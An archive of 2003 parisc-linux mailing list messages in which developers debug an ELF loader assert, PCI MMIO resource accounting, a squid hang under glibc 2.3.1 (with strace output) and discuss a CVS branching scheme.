Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 69B242B101; Tue, 18 Mar 2003 00:20:54 -0700 (MST)
In-Reply-To: <1047919859.14507.21.camel@beavis.ybsoft.com>
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17971

I have spend some more time tracking this problem down.

I have found the offending line in the kernel that causes
this problem, the rest of the RGH_FIX can be eliminated.

The symptom is with this line: 
	NEW_AUX_ENT(AT_ENTRY, exec->e_entry);

in fs/binfmt_elf.c:create_elf_tables().

If the that line is executed when the 
interpreter_type == INTERPRETER_NONE, the error shows up when
/lib/ld.so.1 is executed.  This line is fine when when the
interpreter_type == INTERPRTER_ELF ... which explains why
the system runs normally, and the error only manifests itself
when /lib/ld.so.1 is executed by hand.  (the /lib/ld.so.1 library 
does not set a PT_INTERP, so the interpreter is not set, where as
if a binary is executed, the interpreter is set to ELF).


The assert caused by /lib/ld.so.1 is caused by this line
in rtld.c:

	assert (GL(dl_rtld_map).l_libname); /* How else did we get here?  */

This assert is in the else clause of this if statement:


  if (! GL(dl_rtld_map).l_libname && GL(dl_rtld_map).l_name)


The whole purpose of this if statment, according to the comments,
is to deal with this senario, where the library was invoked directly,
and the PT_INTERP was not set.


I am rebuilding glibc from source on my C200 now (i.e. this will
probably take a while :)) and I will continue debugging. I just wanted
to give a status update in case someone else has an idea, or was working
on it.

Thanks,

- Ryan


-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Tue, 18 Mar 2003 10:16:10 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20030318091609.GJ28454@lug-owl.de>
References: <20030317111801.GF17073@lug-owl.de> <3E68A12A00002A77@ocpmta3.freegates.net> <20030317155235.GN26139@tausq.org> <20030317162105.GB31378@dsl2.external.hp.com> <20030317163430.GI17073@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="KjX7LgAomYr70Ka9"
X-Trace: ger.gmane.org 1416622297 23036 80.91.229.3 (22 Nov 2014 02:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 02:16:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C064483A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 02:16:11 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 34D614AB44; Tue, 18 Mar 2003 10:16:10 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030317163430.GI17073@lug-owl.de>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17972

--KjX7LgAomYr70Ka9
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-03-17 17:34:30 +0100, Jan-Benedict Glaw <jbglaw@lug-owl.de>
wrote in message <20030317163430.GI17073@lug-owl.de>:
> On Mon, 2003-03-17 09:21:05 -0700, Grant Grundler <grundler@dsl2.external=
.hp.com>
> wrote in message <20030317162105.GB31378@dsl2.external.hp.com>:
> > On Mon, Mar 17, 2003 at 07:52:35AM -0800, Randolph Chung wrote:
> > > The driver is
> > > not that well written either, so that doesn't help either :(
> >=20
> > If someone wants to take over maintaining cpqfc driver, I suspect
> > that would be a welcome request. Please let me know and I'll
> > forward to the right people in HP. (I've had this conversation
> > with the current maintainers already.)
>=20
> :) Well, I don't have such a board, I don't have FC-HDDs, I don't even
> have a 64bit/66MHz box. ...and looking over the code, it's somewhat

Oh, I need to correct this. My Athlon does have 64bit PCI slots. Still,
no such PCI card, no FC hub/HDDs...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--KjX7LgAomYr70Ka9
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+duPZHb1edYOZ4bsRAjaKAJ0boLAVR/zo897lTl/z1kUV7AxYXgCfRtJG
a57BlWI4FuQxMHXjdMNJ/hA=
=D3ea
-----END PGP SIGNATURE-----

--KjX7LgAomYr70Ka9--


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: PCI Patches update
Date: Tue, 18 Mar 2003 14:06:37 +0000
Lines: 105
Approved: news@gmane.org
Message-ID: <20030318140637.GE14520@parcelfarce.linux.theplanet.co.uk>
References: <20030318062233.GA21487@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622297 23038 80.91.229.3 (22 Nov 2014 02:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 07:06:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 067E0483A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 07:06:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18vHjh-0006LC-LZ; Tue, 18 Mar 2003 14:06:37 +0000
Content-Disposition: inline
In-Reply-To: <20030318062233.GA21487@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17973

On Mon, Mar 17, 2003 at 11:22:33PM -0700, Grant Grundler wrote:
> On parisc, this is one of the problems I've dodged.
> I'm not looking for a solution right now - but if you know the
> obvious answer, please tell me.  I just want to outline the problem.

Certainly!  ;-)

> The PCI controller (lba_pci.c) on newer PARISC machines can support
> two MMIO ranges. The "Distributed" range is a "fixed" size and base
> (1/8th of whatever the parent IO Controller (SBA) has).  The second
> "Directed" Range can use any address otherwise not assigned to PCI
> devices and directed to any PCI controller under the same SBA.

OK.

> PARISC lba_pci.c currently only advertises Distributed ranges
> and pretends Directed ranges don't exist. Things still work,
> but the resource accounting in /proc/iomem is inaccurate.

We can fix that!  ;-)

> Since Directed Ranges have precedence in the MMIO address routing, they
> can overlap with Distributed ranges. Worse, The SBA can assign "duplicate"
> MMIO address ranges by routing "unused" address space to a Directed range
> under a different PCI controller.  I think both are very ugly scenarios
> and will need alot of code to detect/handle properly.

I don't think it's such a big problem.  Well, I wouldn't, would I?  ;-)

> Each Distributed Range is typically only 16MB in size.
> Consumers of Directed Ranges are things like graphics cards or X.25
> cards which want 16MB or greater in a single BAR.
> Eg /proc/iomem on a C3000 running 2.4.20 says:
> f0000000-f0ffffff : LBA PCI LMMIO
>   f05d0000-f05d0000 : lcd_data
>   f05d0008-f05d0008 : lcd_cmd
> f1000000-f1ffffff : LBA PCI LMMIO
> f4000000-f4ffffff : LBA PCI LMMIO
>   f4007000-f4007fff : usb-ohci
>   f4008000-f40083ff : tulip
>   f4900000-f490007f : tulip
>   f4901000-f490107f : tulip
>   f4902000-f490207f : tulip
>   f4903000-f490307f : tulip
> f6000000-f6ffffff : LBA PCI LMMIO
>   f6000000-f600ffff : tg3
> fa100000-fa4fffff : stifb mmio
> fb000000-fbffffff : stifb
> ...

Thanks for posting the example, it makes life much easier.  To take some
experience from ccio-based systems, we might favour a /proc/iomem which
ends up looking something like this:

f0000000-f0ffffff : PCI bus [10/0/]
  f05d0000-f05d0000 : lcd_data
  f05d0008-f05d0008 : lcd_cmd
f1000000-f1ffffff : PCI bus [10/1/]
f4000000-f4ffffff : PCI bus [10/2/]
  f4007000-f4007fff : usb-ohci
  f4008000-f40083ff : tulip
  f4900000-f490007f : tulip
  f4901000-f490107f : tulip
  f4902000-f490207f : tulip 
  f4903000-f490307f : tulip
f6000000-f6ffffff : PCI bus [10/4/]
  f6000000-f600ffff : tg3
fa000000-fbffffff : PCI bus [10/1/]
  fa100000-fa4fffff : stifb mmio
  fb000000-fbffffff : stifb

So, how to accomplish this?  You're right it's going to be a little more
tricky than before since we may discover overlapping ranges in any order
and the directed range always takes priority over the distributed range.

Calling __request_resource() will return the address of a conflicting
resource (if there is one).  Only snag is that it's static, but I'm
sure no-one will scream too loudly if we unstatic it.  So if we're
requesting a directed range, we'll tweak the existing range to move it
out of our way.  If we're requesting a distributed range, we'll shrink
our range to avoid colliding.  In either case, we will request again.

> [ I now see one additional bugs *sigh*: PCI-PCI bridge resources are
> not properly accounted (4-port Tulip) card. I'll have to fix that. ]

iomem isn't a device hierarchy... it's not necessary to put _everything_
in.  Having said that, I think it'd be kind of nice to have it.

> The "stifb" driver claims the upper 16MB of the 32MB BAR and it's all
> routed to PCI Controller for slot 2 (PCI Bus 4). Since no other devices
> share that PCI controller, I'm pretty sure the same PCI Controller also
> gets 0xf100000 range. Add a second gfx card and it's gets uglier.
> I watched Thomas Boegendorf have fun at LinuxTag by putting 4
> similar "Vis-EG" cards in one B2600 and run xinerama. I now
> wish I had captured the /proc/iomem and lspci -v output for
> that one!

Hmm.. if I remember rightly, we put a large number of gfx cards in the
L2000 in Fort Collins once... wonder if they're still in there.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] squid pb with glibc-2.3.1
Date: Tue, 18 Mar 2003 15:11:18 +0100
Lines: 99
Approved: news@gmane.org
Message-ID: <3E68A39600001F9F@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622298 23041 80.91.229.3 (22 Nov 2014 02:11:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 07:11:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37273483A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 07:11:21 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18vHoG-0006Sr-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 15:11:20 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 18 Mar 2003 15:11:18 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17974

Hi all,

I try, without success :( , to do a test case to reproduce the problem I
encountered with squid when glibc was updated to 2.3.1.

Fortunately I steel have a testing system with glibc 2.1 and I can so compare
straces:

squid-2.4.7 && glibc-2.2.5-14.3
...
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\37"..., 1024)
= 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1392404, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40170000
mprotect(0x402a7000, 118548, PROT_NONE) = 0
mmap(0x402b6000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
3, 0x136000) = 0x402b6000
mmap(0x402c1000, 12052, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0) = 0x402c1000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x4001c000
munmap(0x40018000, 13557)               = 0
getpid()                                = 10655
rt_sigaction(SIGRTMIN, {0x400910fe, [], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x40091106, [], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_2, {0x4009110e, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
_sysctl(0xfaf00a50, 0, 0, 0xfaf00a78, 0) = 0
umask(07)                               = 022
umask(022)                              = 07
time(NULL)                              = 1047922670
gettimeofday({1047922670, 112579}, NULL) = 0
brk(0)                                  = 0x221000
brk(0x221030)                           = 0x221030
brk(0x222000)                           = 0x222000
brk(0x223000)                           = 0x223000
brk(0x224000)                           = 0x224000
open("/etc/squid.conf", O_RDONLY)       = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x40018000
...


squid-2.4.7 && glibc-2.3.1
...
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\f"..., 1024)
= 102
4
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1412104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40224000
mprotect(0x40363000, 105480, PROT_NONE) = 0
mmap(0x40372000, 36864, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
3
, 0x13e000) = 0x40372000
mmap(0x4037b000, 7176, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP
_ANONYMOUS, -1, 0) = 0x4037b000
close(3)                                = 0
munmap(0x40017000, 13557)               = 0
getpid()                                = 23706
rt_sigaction(SIGRTMIN, {0x400865d6, [], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x400865de, [], 0}, NULL, 8) = 0
rt_sigaction(SIGRT_2, {0x400865e6, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
_sysctl(0xfaf00988, 0, 0, 0xfaf009b0, 0) = 0
sched_yield()                           = 0
sched_yield()                           = 0
.
.
.
.

squid loop here

Is the problem is in _systcl() or elsewhere?
How may I analyse further this pb (for my limited understanding, I do not
found enough information on _sysctl() in man)?

Thanks for additional help,
    Joel


PS: the two system are b180L running the same kernel 2.4.20-pa27. The first
one is a testing debian before glibc upgrade, the second one just after the
glibc upgrade.

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVSy stuff
Date: Tue, 18 Mar 2003 14:33:37 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622298 23045 80.91.229.3 (22 Nov 2014 02:11:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 07:33:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A327483A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Mar 2003 07:33:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18vI9q-0006ge-0r
	for parisc-linux@parisc-linux.org; Tue, 18 Mar 2003 14:33:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17975

According to the folk wisdom around CVS, long-lived branches make
operations slower.  Here's some evidence:

http://mail.gnu.org/archive/html/info-cvs/2001-08/msg00939.html
http://sources.redhat.com/ml/gdb/2003-03/msg00091.html

>From this point of view, our CVS tree is practically pessimal.  We have
two long-lived, regularly-updated branches (1.1.2. and 1.).  This may
explain why CVS is taking a long time to do simple stuff that used to
not take very long at all.

I don't think that changing our linux-2.5 tree at this point is a
great idea.  Let's soldier on with it until 2.6 comes out, but I've been
thinking about a new design for our linux-2.6 tree.  Feedback extremely
welcome since I'm so far from being an SCM guru it isn't even funny.

The inspiration for this is "Wow.  Our diff vs Linus is really small now."
It's 220k; 170k of that in new files.  So our model is really "Here's a
small patch to go on top of Linus' tree."  We're no longer doing major
development in our tree and we're now able to fold changes back into
Linus' tree fairly quickly.

So how about this model...

1. -> linus
1.1 -> LINUS_260
1.2 -> LINUS_261
1.2.1 -> parisc_261
1.2.1.1 -> CVS261_PA1
1.2.1.2 -> CVS261_PA2
...
1.3 -> LINUS_262
1.3.1 -> parisc_262
1.3.1.1 -> CVS262_PA1

OK, this model clearly fits CVS' needs much better.  How about ours?
Well, it sucks that you're always developing on a branch.  It sucks for
people who're used to doing 'cvs up -A' to get to the trunk, because
they now get Linus instead of us.  It also sucks that you stay on
parisc_261 when you type "cvs up", so you have to explictly say "cvs
up -rparisc_262".

However, it doesn't have the suckitude of vendor branches, and it allows
us to reasonably use cvs diff -rlinus.  Choose your suck.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] squid pb with glibc-2.3.1
Date: Tue, 18 Mar 2003 16:02:44 +0100
Lines: 128
Approved: news@gmane.org
Message-ID: <3E68A39600001FEA@ocpmta7.freegates.net>
References: <3E68A39600001F9F@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622298 23046 80.91.229.3 (22 Nov 2014 02:11:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 08:02:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B6CC483A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 08:02:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18vIc1-0006Dz-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 16:02:45 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 18 Mar 2003 16:02:44 +0100
In-Reply-To: <3E68A39600001F9F@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17976

Sorry all,

I remember now that the actual pb was in mallopt() stuff at the beginning:
edit autoconf.h and undef HAVE_MALLOPT to recompile manually and it works.

Very sorry for confusion,
    Joel

>-- Original Message --
>From: "Joel Soete" <jsoe0708@tiscali.be>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] squid pb with glibc-2.3.1
>Date: Tue, 18 Mar 2003 15:11:18 +0100
>
>
>Hi all,
>
>I try, without success :( , to do a test case to reproduce the problem I
>encountered with squid when glibc was updated to 2.3.1.
>
>Fortunately I steel have a testing system with glibc 2.1 and I can so compare
>straces:
>
>squid-2.4.7 && glibc-2.2.5-14.3
>...
>close(3)                                = 0
>open("/lib/libc.so.6", O_RDONLY)        = 3
>read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\37"..., 1024)
>= 1024
>fstat64(3, {st_mode=0, st_size=0, ...}) = 0
>mmap(NULL, 1392404, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40170000
>mprotect(0x402a7000, 118548, PROT_NONE) = 0
>mmap(0x402b6000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
>3, 0x136000) = 0x402b6000
>mmap(0x402c1000, 12052, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
>-1, 0) = 0x402c1000
>close(3)                                = 0
>mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
>= 0x4001c000
>munmap(0x40018000, 13557)               = 0
>getpid()                                = 10655
>rt_sigaction(SIGRTMIN, {0x400910fe, [], 0}, NULL, 8) = 0
>rt_sigaction(SIGRT_1, {0x40091106, [], 0}, NULL, 8) = 0
>rt_sigaction(SIGRT_2, {0x4009110e, [], 0}, NULL, 8) = 0
>rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
>_sysctl(0xfaf00a50, 0, 0, 0xfaf00a78, 0) = 0
>umask(07)                               = 022
>umask(022)                              = 07
>time(NULL)                              = 1047922670
>gettimeofday({1047922670, 112579}, NULL) = 0
>brk(0)                                  = 0x221000
>brk(0x221030)                           = 0x221030
>brk(0x222000)                           = 0x222000
>brk(0x223000)                           = 0x223000
>brk(0x224000)                           = 0x224000
>open("/etc/squid.conf", O_RDONLY)       = 3
>fstat64(3, {st_mode=0, st_size=0, ...}) = 0
>mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
>= 0x40018000
>...
>
>
>squid-2.4.7 && glibc-2.3.1
>...
>close(3)                                = 0
>open("/lib/libc.so.6", O_RDONLY)        = 3
>read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\f"..., 1024)
>= 102
>4
>fstat64(3, {st_mode=0, st_size=0, ...}) = 0
>mmap(NULL, 1412104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40224000
>mprotect(0x40363000, 105480, PROT_NONE) = 0
